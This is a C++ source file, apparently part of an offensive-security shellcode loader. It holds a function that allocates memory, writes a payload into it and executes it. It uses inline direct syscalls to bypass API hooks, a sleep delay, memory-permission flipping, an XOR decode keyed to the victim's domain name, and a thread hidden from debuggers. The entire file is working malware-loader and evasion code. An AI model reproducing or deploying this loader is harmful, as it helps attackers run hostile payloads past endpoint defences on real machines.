#pragma clang diagnostic ignored "-Wnested-anon-types" #pragma clang diagnostic ignored "-Wgnu-anonymous-struct" #include "inject.hpp" #ifdef SYSCALLS #include "deps/inline_syscall/include/in_memory_init.hpp" #endif #define NT_FAIL(status) (status < 0) #ifdef _BOF_ #pragma clang diagnostic ignored "-Wdollar-in-identifier-extension" extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI void KERNEL32$Sleep( DWORD dwMilliseconds ); #define Sleep KERNEL32$Sleep extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI LPVOID KERNEL32$VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); #define VirtualAllocEx KERNEL32$VirtualAllocEx extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI BOOL KERNEL32$VirtualProtectEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ); #define VirtualProtectEx KERNEL32$VirtualProtectEx extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI BOOL KERNEL32$WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten ); #define WriteProcessMemory KERNEL32$WriteProcessMemory extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI HANDLE KERNEL32$CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); #define CreateRemoteThread KERNEL32$CreateRemoteThread extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI DWORD KERNEL32$WaitForSingleObject( HANDLE hHandle, DWORD dwMilliseconds ); #define WaitForSingleObject KERNEL32$WaitForSingleObject #endif void my_init_syscalls_list(void) { #ifdef SYSCALLS jm::init_syscalls_list(); #endif } typedef void* (*funcPtr)(); void executor(funcPtr shellcode) { (*shellcode)(); } LPVOID inject_shellcode_self(unsigned char shellcode[], SIZE_T size, PHANDLE phThread, BOOL wait, unsigned int sleep_time) { #ifdef _DEBUG_ if (sleep_time > 0) wprintf(L"sleeping for %d seconds!\n", sleep_time); #endif #ifdef SYSCALLS NTSTATUS status = STATUS_PENDING; LARGE_INTEGER li_sleep_time; li_sleep_time.QuadPart = -((long long)sleep_time * 10000000); status = INLINE_SYSCALL(NtDelayExecution)(TRUE, &li_sleep_time); if (NT_FAIL(status)) { #ifdef _DEBUG_ wprintf(L"ERROR: NtDelayExecution = 0x%x\n", status); #endif return NULL; } #else Sleep(sleep_time); #endif #ifdef FLUCTUATE fluctuate(); #endif #if defined(SELFINJECT) && defined(RX) && defined(_TEXT_) funcPtr func = (funcPtr)shellcode; *phThread = 0; #ifdef _DEBUG_ puts("self executing the payload in .text"); #endif executor(func); return NULL; #else void* allocation = nullptr; #ifdef SYSCALLS status = INLINE_SYSCALL(NtAllocateVirtualMemory)( (HANDLE)-1, &allocation, 0, &size, MEM_RESERVE | MEM_COMMIT, #ifdef RX PAGE_READWRITE); #else PAGE_EXECUTE_READWRITE); #endif if (NT_FAIL(status) || !allocation) { #ifdef _DEBUG_ wprintf(L"ERROR: NtAllocateVirtualMemory = 0x%x\n", status); #endif return NULL; } #else allocation = VirtualAllocEx( (HANDLE)-1, 0, size, MEM_RESERVE | MEM_COMMIT, #ifdef RX PAGE_READWRITE); #else PAGE_EXECUTE_READWRITE); #endif if (!allocation) { #ifdef _DEBUG_ wprintf(L"ERROR: VirtualAllocEx = 0x%x\n", GetLastError()); #endif return NULL; } #endif #ifdef _DEBUG_ wprintf(L"Allocated rwx memory @ 0x%x\n", allocation); #endif SIZE_T bytesWritten = 0; #ifdef SYSCALLS status = INLINE_SYSCALL(NtWriteVirtualMemory)( (HANDLE)-1, allocation, shellcode, size, &bytesWritten); if (NT_FAIL(status) || bytesWritten < size) { #ifdef _DEBUG_ wprintf(L"ERROR: NtWriteVirtualMemory = 0x%x\n", status); #endif return NULL; } #else BOOL res = WriteProcessMemory( (HANDLE)-1, allocation, shellcode, size, &bytesWritten); if (!res) { #ifdef _DEBUG_ wprintf(L"ERROR: WriteProcessMemory = 0x%x\n", GetLastError()); #endif return NULL; } #endif #ifdef _DEBUG_ wprintf(L"Written %d bytes of data @ 0x%x\n", bytesWritten, allocation); #endif #ifdef XOR_KEY unsigned long max_length = 256; char domain[256] = { 0 }; if (!GetComputerNameExA(ComputerNameDnsFullyQualified, domain, &max_length)) { #ifdef _DEBUG_ wprintf(L"ERROR: GetComputerNameExA = 0x%x\n", GetLastError()); #endif } else { #ifdef _DEBUG_ wprintf(L"GetComputerNameExA = %s\n", domain); #endif } for (SIZE_T i = 0; i < size; i++) { ((char*)allocation)[i] ^= domain[i % max_length]; } #endif #ifdef RX DWORD old = 0; #ifdef SYSCALLS status = INLINE_SYSCALL(NtProtectVirtualMemory)( (HANDLE)-1, allocation, size, PAGE_EXECUTE_READ, &old); if (NT_FAIL(status) || old == 0) { #ifdef _DEBUG_ wprintf(L"ERROR: NtProtectVirtualMemory = 0x%x\n", status); #endif return NULL; } #else res = VirtualProtectEx( (HANDLE)-1, allocation, size, PAGE_EXECUTE_READ, &old); if (!res) { #ifdef _DEBUG_ wprintf(L"ERROR: VirtualProtectEx = 0x%x\n", GetLastError()); #endif return NULL; } #endif #endif #ifdef SELFINJECT typedef void* (*funcPtr)(); funcPtr func = (funcPtr)allocation; *phThread = 0; #ifdef _DEBUG_ puts("self executing the allocated payload"); #endif return (*func)(); #elif SYSCALLS status = INLINE_SYSCALL(NtCreateThreadEx)( phThread, THREAD_ALL_ACCESS, nullptr, (HANDLE)-1, (void*)executor, allocation, THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, 0, 0, 0, nullptr); if (NT_FAIL(status) || !*phThread) { #ifdef _DEBUG_ wprintf(L"ERROR: NtCreateThreadEx = 0x%x\n", status); #endif return NULL; } #else *phThread = CreateRemoteThread( (HANDLE)-1, NULL, 0, (LPTHREAD_START_ROUTINE)executor, allocation, NULL, NULL ); if (!*phThread) { #ifdef _DEBUG_ wprintf(L"ERROR: CreateRemoteThread = 0x%x\n", GetLastError()); #endif return NULL; } #endif #ifdef _DEBUG_ wprintf(L"Created thread #%d\n", *phThread); #endif if (wait) { #ifdef _DEBUG_ wprintf(L"Waiting for thread #%d\n", *phThread); #endif #ifdef SYSCALLS INLINE_SYSCALL(NtWaitForSingleObject)(*phThread, TRUE, NULL); #else WaitForSingleObject(*phThread, -1); #endif } return allocation; #endif }